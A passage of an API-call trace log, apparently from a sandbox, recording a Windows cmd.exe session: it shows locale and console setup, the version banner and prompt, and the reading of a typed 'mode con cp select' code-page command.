lpCPInfo=0x4a20bfe0) returned 1 [0073.420] GetUserDefaultLCID () returned 0x409 [0073.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a207b50, cchData=8 | out: lpLCData=":") returned 2 [0073.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x18f920, cchData=128 | out: lpLCData="0") returned 2 [0073.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x18f920, cchData=128 | out: lpLCData="0") returned 2 [0073.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x18f920, cchData=128 | out: lpLCData="1") returned 2 [0073.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a21a740, cchData=8 | out: lpLCData="/") returned 2 [0073.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a21a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0073.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a21a460, cchData=32 | out: lpLCData="Tue") returned 4 [0073.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a21a420, cchData=32 | out: lpLCData="Wed") returned 4 [0073.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a21a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0073.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a21a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0073.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a21a360, cchData=32 | out: lpLCData="Sat") returned 4 [0073.421] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a21a700, cchData=32 | out: lpLCData="Sun") returned 4 [0073.421] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a207b40, cchData=8 | out: lpLCData=".") returned 2 [0073.422] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a21a4e0, cchData=8 | out: lpLCData=",") returned 2 [0073.422] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0073.423] GetProcessHeap () returned 0x290000 [0073.423] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20c) returned 0x2a95c0 [0073.423] GetConsoleTitleW (in: lpConsoleTitle=0x2a95c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0073.423] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.423] GetFileType (hFile=0xf4) returned 0x3 [0073.423] BrandingFormatString () returned 0x2a97e0 [0073.429] GetVersion () returned 0x1db10106 [0073.429] _vsnwprintf (in: _Buffer=0x18fa90, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x18fa28 | out: _Buffer="6.1.7601") returned 8 [0073.429] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.429] GetFileType (hFile=0xf4) returned 0x3 [0073.429] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a216340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0073.430] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a216340, nSize=0x2000, Arguments=0x18fa30 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0073.430] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a20c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0073.430] WriteFile (in: hFile=0xf4, lpBuffer=0x4a20c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x18f9b8, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesWritten=0x18f9b8*=0x24, lpOverlapped=0x0) returned 1 [0073.430] _vsnwprintf (in: _Buffer=0x4a216340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18fa58 | out: _Buffer="\r\n") returned 2 [0073.430] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.430] GetFileType (hFile=0xf4) returned 0x3 [0073.430] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a20c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.430] WriteFile (in: hFile=0xf4, lpBuffer=0x4a20c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesWritten=0x18fa28*=0x2, lpOverlapped=0x0) returned 1 [0073.430] _vsnwprintf (in: _Buffer=0x4a216340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x18fa58 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0073.430] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.430] GetFileType (hFile=0xf4) returned 0x3 [0073.430] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a20c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0073.430] WriteFile (in: hFile=0xf4, lpBuffer=0x4a20c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesWritten=0x18fa28*=0x3f, lpOverlapped=0x0) returned 1 [0073.431] _vsnwprintf (in: _Buffer=0x4a216340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18fa58 | out: _Buffer="\r\n") returned 2 [0073.431] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.431] GetFileType (hFile=0xf4) returned 0x3 [0073.431] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a20c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.431] WriteFile (in: hFile=0xf4, lpBuffer=0x4a20c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18fa28, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesWritten=0x18fa28*=0x2, lpOverlapped=0x0) returned 1 [0073.432] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0073.432] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0 [0073.432] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0073.432] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0 [0073.432] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.432] GetFileType (hFile=0xe8) returned 0x3 [0073.433] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0073.433] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x18f880 | out: TokenHandle=0x18f880*=0x0) returned 0xc000007c [0073.433] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x18f880 | out: TokenHandle=0x18f880*=0x50) returned 0x0 [0073.433] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x18f890, TokenInformationLength=0x4, ReturnLength=0x18f898 | out: TokenInformation=0x18f890, ReturnLength=0x18f898) returned 0x0 [0073.433] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x18f898, TokenInformationLength=0x4, ReturnLength=0x18f890 | out: TokenInformation=0x18f898, ReturnLength=0x18f890) returned 0x0 [0073.433] NtClose (Handle=0x50) returned 0x0 [0073.433] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x18f860, nSize=0x0, Arguments=0x18f868 | out: lpBuffer="韠*") returned 0xf [0073.433] GetProcessHeap () returned 0x290000 [0073.433] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x8, Size=0x218) returned 0x291ab0 [0073.433] GetConsoleTitleW (in: lpConsoleTitle=0x18f8b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0073.434] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0073.434] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.435] GetProcessHeap () returned 0x290000 [0073.435] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x291ab0 | out: hHeap=0x290000) returned 1 [0073.435] LocalFree (hMem=0x2a97e0) returned 0x0 [0073.435] GetProcessHeap () returned 0x290000 [0073.435] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2aaa10 | out: hHeap=0x290000) returned 1 [0073.436] _vsnwprintf (in: _Buffer=0x4a216340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f598 | out: _Buffer="\r\n") returned 2 [0073.436] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.436] GetFileType (hFile=0xf4) returned 0x3 [0073.436] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a20c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.436] WriteFile (in: hFile=0xf4, lpBuffer=0x4a20c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18f568, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesWritten=0x18f568*=0x2, lpOverlapped=0x0) returned 1 [0073.436] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a1ff360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.437] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a20c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.437] _vsnwprintf (in: _Buffer=0x4a1feb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x18f5a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.437] _vsnwprintf (in: _Buffer=0x4a1febaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x18f5a8 | out: _Buffer=">") returned 1 [0073.437] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.437] GetFileType (hFile=0xf4) returned 0x3 [0073.437] _get_osfhandle (_FileHandle=1) returned 0xf4 [0073.437] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a20c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0073.437] WriteFile (in: hFile=0xf4, lpBuffer=0x4a20c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x18f598, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesWritten=0x18f598*=0x26, lpOverlapped=0x0) returned 1 [0073.437] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.437] GetFileType (hFile=0xe8) returned 0x3 [0073.437] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.437] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.437] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.438] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0073.439] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.439] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.439] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0073.439] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.439] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.439] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0073.439] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.439] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.439] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0073.439] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.439] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.439] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.439] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0073.439] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.439] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.440] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0073.440] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.440] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.440] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0073.440] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.440] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.440] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0073.440] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.440] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.440] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0073.440] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.440] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.440] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.440] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0073.441] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.441] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.441] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0073.441] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.441] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.441] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0073.441] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.441] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.441] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0073.441] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.441] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.441] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0073.441] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.441] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.441] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0073.442] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.442] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.442] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0073.442] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.442] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.442] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0073.442] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.442] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.442] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0073.442] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.442] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.442] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.442] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0073.442] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.442] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.443] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0073.443] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.443] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.443] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0073.443] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.443] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.443] ReadFile (in: hFile=0xe8, lpBuffer=0x4a20c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x18f898, lpOverlapped=0x0 | out: lpBuffer=0x4a20c320*, lpNumberOfBytesRead=0x18f898*=0x1, lpOverlapped=0x0) returned 1 [0073.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a20c320, cbMultiByte=1, lpWideCharStr=0x4a20e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0073.443] _get_osfhandle (_FileHandle=0) returned 0xe8 [0073.443] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 